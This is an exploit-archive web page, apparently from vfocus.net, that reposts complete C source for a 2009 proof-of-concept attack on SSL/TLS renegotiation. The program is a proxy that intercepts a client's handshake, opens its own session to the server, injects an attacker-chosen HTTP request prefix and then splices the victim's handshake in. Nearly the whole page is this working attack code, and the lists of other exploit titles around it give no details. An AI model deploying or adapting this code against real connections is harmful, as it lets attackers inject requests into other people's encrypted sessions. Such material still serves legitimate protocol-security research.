首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
This is a proof of concept exploit for the man-in-the-middle vulnerability relat
来源:vfocus.net 作者:Marsh 发布时间:2009-11-09  

#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/ssl3.h>

void
fail(const char *proc)
{
  perror(proc);
  exit(1);
}

void
setup_server
    (int *sock, int port)
{
  struct sockaddr_in sa;
  int s, r, i;

  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s == -1)
    fail("setup_server:socket");
  i = 1;
  r = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
  if (r == -1)
    fail("setup_server:setsockopt(SO_REUSEADDR)");
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = INADDR_ANY;
  sa.sin_port = htons(port);
  r = bind(s, (struct sockaddr *) &sa, sizeof(sa));
  if (r == -1)
    fail("setup_server:bind");
  r = listen(s, 5);
  if (r == -1)
    fail("setup_server:listen");
  *sock = s;
}

void
do_accept
    (int *accepted, int sock)
{
  struct sockaddr_in sa;
  socklen_t sl;
  int s;

  sl = sizeof(sa);
  s = accept(sock, (struct sockaddr *) &sa, &sl);
  if (s == -1)
    fail("do_accept:accept");
  fprintf(stderr, "accepted %s:%d\n",
   inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));
  *accepted = s;
}

void
setup_client
    (int *sock, in_addr_t ip, int port)
{
  struct sockaddr_in sa;
  int s, r;

  s = socket(AF_INET, SOCK_STREAM, 0);
  if (s == -1)
    fail("setup_server:socket");
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = ip;
  sa.sin_port = htons(port);
  r = connect(s, (struct sockaddr *) &sa, sizeof(sa));
  if (r == -1)
    fail("setup_client:connect");
  *sock = s;
}

int
xread
    (int fd, unsigned char *buf, size_t len)
{
  int r, rlen;

  rlen = 0;
  while (len > 0) {
    r = read(fd, buf, len);
    if (r == 0)
      break;
    else if (r == -1)
      return -1;
    buf += r;
    len -= r;
    rlen += r;
  }
  return rlen;
}

struct ssl_io_t
{
  SSL *ssl;
  int fd;
  int raw;
};

extern int
ssl3_read_bytes
    (SSL *s, int type, unsigned char *buf, int len, int peek);

int
rec_read
    (struct ssl_io_t *io, unsigned char *buf)
{
  int r, l;

#if 0
  fprintf(stderr, "rec read %s\n",
   io->raw & 1 ? "raw" : "cooked");
#endif
  if (io->raw & 1) {
    r = xread(io->fd, buf, 5);
    if (r == 0)
      return 0;
    else if (r != 5)
      fail("rec_read:read1");
    if (buf[0] != 0x80)
      l = (buf[3] << 8) + buf[4];
    else /* ssl2 hack */
      /* fail("rec_read:ssl2"); */
      l = (buf[1]) - 3;
    if (l < 0 || l > (1 << 15)) {
      errno = EINVAL;
      fail("rec_read:reclen");
    }
    r = xread(io->fd, buf + 5, l);
    if (r != l)
      fail("rec_read:read2");
    l += 5;
    return l;
  }
  else {
    r = ssl3_read_bytes(io->ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0);
    if (r == 0)
      return 0;
    else if (r < 0) {
      if (io->ssl->s3->change_cipher_spec) {
 buf[0] = 0x14;
 buf[1] = (io->ssl->version >> 8);
 buf[2] = (io->ssl->version & 0xff);
 buf[3] = 0;
 buf[4] = 1;
 buf[5] = 1;
 io->raw |= 1;
 io->ssl->s3->change_cipher_spec = 0;
 return 6;
      }
      fail("rec_read:ssl3_read_bytes");
    }
    l = r;
    buf[0] = io->ssl->s3->rrec.type;
    buf[1] = (io->ssl->version >> 8);
    buf[2] = (io->ssl->version & 0xff);
    buf[3] = (l >> 8);
    buf[4] = (l & 0xff);
    return l + 5;
  }
}

extern int
ssl3_write_bytes
    (SSL *s, int type, const void *buf_, int len);

void
rec_write
    (struct ssl_io_t *io, unsigned char *buf, size_t len)
{
  int r;

#if 0
  fprintf(stderr, "rec write %s\n",
   io->raw & 2 ? "raw" : "cooked");
#endif
  if (io->raw & 2) {
    r = write(io->fd, buf, len);
    if (r != len)
      fail("rec_write:write");
  }
  else {
    r = ssl3_write_bytes(io->ssl, buf[0], buf + 5, len - 5);
    if (r < 0) {
      fail("rec_read:ssl3_write_bytes");
    }
    if (buf[0] == 0x14) {
      io->raw |= 2;
    }
  }
}

void
ssl_io
    (struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
  struct ssl_io_t *ssls[2];
  int maxfd, active;
  int i, r, l;
  fd_set rfd;
  unsigned char buf[1 << 16];

  ssls[0] = assl;
  ssls[1] = cssl;
  active = 3;
  maxfd = 0;
  for (i = 0; i < 2; i++)
    if (ssls[i]->fd >= maxfd)
      maxfd = ssls[i]->fd + 1;

  while (active) {
    FD_ZERO(&rfd);
    for (i = 0; i < 2; i++)
      if (active & (1 << i))
 FD_SET(ssls[i]->fd, &rfd);
    r = select(maxfd, &rfd, NULL, NULL, NULL);
    if (r == -1)
      fail("rec_io:select");
    for (i = 0; i < 2; i++) {
      if (active & (1 << i) && FD_ISSET(ssls[i]->fd, &rfd)) {
 r = rec_read(ssls[i], buf);
 if (r == 0) {
   shutdown(ssls[i]->fd, SHUT_RD);
   shutdown(ssls[1 - i]->fd, SHUT_WR);
   active &= ~(1 << i);
   continue;
 }
 l = r;
 rec_write(ssls[1 - i], buf, l);
      }
    }
  }
}

void
setup_ssl_ctx
    (SSL_CTX **ctx)
{
  OpenSSL_add_ssl_algorithms();
  SSL_load_error_strings();
  *ctx = SSL_CTX_new(SSLv3_client_method());
  if (!*ctx)
    fail("setup_ssl_ctx:SSL_CTX_new");
}

void
setup_ssl_io
    (struct ssl_io_t *io, SSL_CTX *ctx, int sock, int raw)
{
  SSL *ssl;
  BIO *bio;

  ssl = SSL_new(ctx);
  if (!ssl)
    fail("setup_ssl_ctx:SSL_new");
  bio = BIO_new_socket(sock, BIO_NOCLOSE);
  if (!bio)
    fail("setup_ssl_ctx:BIO_new_socket");
  SSL_set_bio(ssl, bio, bio);
  SSL_set_connect_state(ssl);
  io->ssl = ssl;
  io->fd = sock;
  io->raw = raw;
}

int
bogus_change_cipher_state
    (SSL *ssl, int i)
{
  return 0;
}

/* stolen from ssl_locl.h */
typedef struct ssl3_enc_method {
  int (*enc)(SSL *, int);
  int (*mac)(SSL *, unsigned char *, int);
  int (*setup_key_block)(SSL *);
  int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int);
  int (*change_cipher_state)(SSL *, int);
  int (*final_finish_mac)(SSL *, EVP_MD_CTX *, EVP_MD_CTX *, const char *, int, unsigned char *);
  int finish_mac_length;
  int (*cert_verify_mac)(SSL *, EVP_MD_CTX *, unsigned char *);
  const char *client_finished_label;
  int client_finished_label_len;
  const char *server_finished_label;
  int server_finished_label_len;
  int (*alert_value)(int);
} SSL3_ENC_METHOD;

#define TRICK "GET /ble HTTP/1.0\r\nX-Blah: "

void
hack_ssl
    (struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
  int r, l;
  unsigned char buf[1 << 16];
  SSL_METHOD *mth;

  r = rec_read(assl, buf);
  if (r <= 0)
    fail("hack_ssl:rec_read:no i/o");
  l = r;

  if (buf[0] == 0x16 && buf[1] == 3 &&
      (buf[2] == 0 || buf[2] == 1)) {
    cssl->raw = 0;
    r = SSL_CTX_set_ssl_version
 (cssl->ssl->ctx, buf[2] == 0 ?
  SSLv3_client_method() : TLSv1_client_method());
    if (r != 1)
      fail("hack_ssl:SSL_CTX_set_ssl_version");
    r = SSL_clear(cssl->ssl);
    if (r != 1)
      fail("hack_ssl:SSL_clear");
    r = SSL_connect(cssl->ssl);
    if (r != 1)
      fail("hack_ssl:SSL_connect");
    /* ssl3_setup_buffers(io->ssl);
       ssl_get_new_session(io->ssl, 0); */
    r = SSL_write(cssl->ssl, TRICK, sizeof(TRICK)-1);
    if (r != sizeof(TRICK)-1)
      fail("hack_ssl:SSL_connect");
    cssl->ssl->in_handshake++;
    cssl->ssl->method->ssl3_enc->change_cipher_state =
 bogus_change_cipher_state;
  }
  else {
    /* schedule suicide */
    alarm(5);
  }

  rec_write(cssl, buf, l);
}

#define HTTP_OK "HTTP/1.0 200 Connected\r\n\r\n"

void
handle_http_req
    (int sock, in_addr_t *ip, int *port)
{
  int r, l, k;
  unsigned char buf[1 << 16];
  char str[100];
  unsigned short num;
  struct hostent *he;

  l = 0;
  for (;;) {
    r = read(sock, buf + l, sizeof(buf)-1 - l);
    if (r <= 0)
      fail("handle_http_req:read");
    for (k = l; r > 0; ++k, --r)
      if (buf[k] != '\r')
        buf[l++] = buf[k];
    if (l >= 2 && buf[l-1] == '\n' && buf[l-2] == '\n')
      break;
    if (l >= sizeof(buf)-1)
      fail("handle_http_req:req too big");
  }
 
  buf[l] = '\0';
  r = sscanf(buf, "CONNECT %99[0-9A-Za-z.-]:%hu", str, &num);
  if (r != 2)
    fail("handle_http_req:bad request");
  he = gethostbyname(str);
  if (he == NULL || he->h_length != sizeof(in_addr_t))
    fail("handle_http_req:gethostbyname");

  r = write(sock, HTTP_OK, sizeof(HTTP_OK)-1);
  if (r != sizeof(HTTP_OK)-1)
    fail("handle_http_req:write");

  *ip = *(in_addr_t *)(he->h_addr_list[0]);
  *port = num;
}

int
main
    (int argc, const char **argv)
{
  pid_t pid;
  int ssock, asock, csock;
  SSL_CTX *ctx;
  in_addr_t ip;
  int port;
  struct ssl_io_t assl, cssl;

  setup_ssl_ctx(&ctx);
  setup_server(&ssock, atoi(argv[1]));
  for (;;) {
    do_accept(&asock, ssock);
    pid = fork();
    if (pid == -1)
      fail("main:fork");
    else if (pid == 0) {
      close(ssock);
      handle_http_req(asock, &ip, &port);
      setup_client(&csock, ip, port);
      setup_ssl_io(&assl, ctx, asock, 3);
      setup_ssl_io(&cssl, ctx, csock, 3);
      hack_ssl(&assl, &cssl);
      ssl_io(&assl, &cssl);
      return 0;
    }
    else {
      close(asock);
    }
  }
}

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 'pipe.c' Local Pr
·E-doo music get shell Vulnerab
·Linux 2.6.x fs/pipe.c local ro
·Blender .blend Project Arbitra
·Linux 2.6.31 fs/pipe.c local r
·Remote buffer overflow exploit
·Internet Explorer DoS Exploit
·Mac OS X 10.5.6/10.5.7 ptrace(
·Safari 4.0.3 (Win32) CSS Remot
·PunBB Extension Attachment ver
·Xion Audio Player version 1.0
·Symantec ConsoleUtilities Acti
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved